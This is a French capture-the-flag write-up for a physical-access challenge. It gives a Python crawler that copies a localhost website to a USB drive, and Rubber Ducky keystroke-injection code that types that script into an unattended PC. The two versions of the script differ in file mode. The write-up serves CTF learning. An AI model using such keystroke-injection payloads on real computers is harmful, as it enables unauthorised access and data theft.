Zeecka zeecka

My Own Website

Aperi'CTF 2019 - Physical (175 pts)

Aperi’CTF 2019 - My Own Website

Détails du challenge

EventChallengeCategoryPointsSolves
Aperi’CTF 2019My Own WebsitePhysique175???

L’utilisateur du PC ducky est développeur web à ses heures perdues. Vous devez parser son site web et récupérer les différentes ressources. L’exfiltration des données peut se faire à l’aide d’une clé USB classique (montage D:// par default) uniquement. Le flag respecte le format APRK{…}.

TL;DR

Écrire un script python pour crawler http://127.0.0.1/ et sauvegarder les pages sur D://.

Méthodologie

Comme nous devons crawler un site web sur un ordinateur, nous allons essayer de résoudre le site web à l’URL http:\\127.0.0.1\.

Pour parser le site web, nous allons écrire un petit script python utilisant requests. Le script va sauvegarder chaque page sur D:\ et ajouter chaque nouvelle page présente dans l’attribut href à une liste de crawling.

Voici le script python :

import requests
import re
urls = ["index.html"]
knowurl = ["index.html"]
s = requests.session()
while len(urls) > 0:
    url = urls.pop()
    r = s.get("http://127.0.0.1/"+url).text
    with open("D:/"+url,"a+") as f:
        f.write(r)
    gurls = re.findall(r'href=[\'"]?([^\'" >]+)', r)
    for u in gurls:
        if u not in knowurl:
            knowurl.append(u)
            urls.append(u)

Maintenant, nous le mettons sur la Rubber Ducky avec du ducky code :

DELAY 3000
GUI r
DELAY 1000
STRING python
ENTER
DELAY 2000
STRING import requests
ENTER
STRING import re
ENTER
STRING urls = ["index.html"]
ENTER
STRING knowurl = ["index.html"]
ENTER
STRING s = requests.session()
ENTER
STRING while len(urls) > 0:
ENTER
STRING     url = urls.pop()
ENTER
STRING     r = s.get("http://127.0.0.1/"+url).text
ENTER
STRING     with open("D:/"+url,"wb") as f:
ENTER
STRING         f.write(r)
ENTER
STRING     gurls = re.findall(r'href=[\'"]?([^\'" >]+)', r)
ENTER
STRING     for u in gurls:
ENTER
STRING         if u not in knowurl:
ENTER
STRING             knowurl.append(u)
ENTER
STRING             urls.append(u)
ENTER
ENTER

Après cela, nous débranchons les deux clés, nous pouvons parcourir le site web stocké sur la clé USB. Ouvrez le fichier nommé 7cOQ3F2J4S.html, puis lisez le flag.

Voici le site web lorsque le css et les images sont également téléchargés :

screen.png

Flag

APRK{*We88er!Ducky*}

Zeecka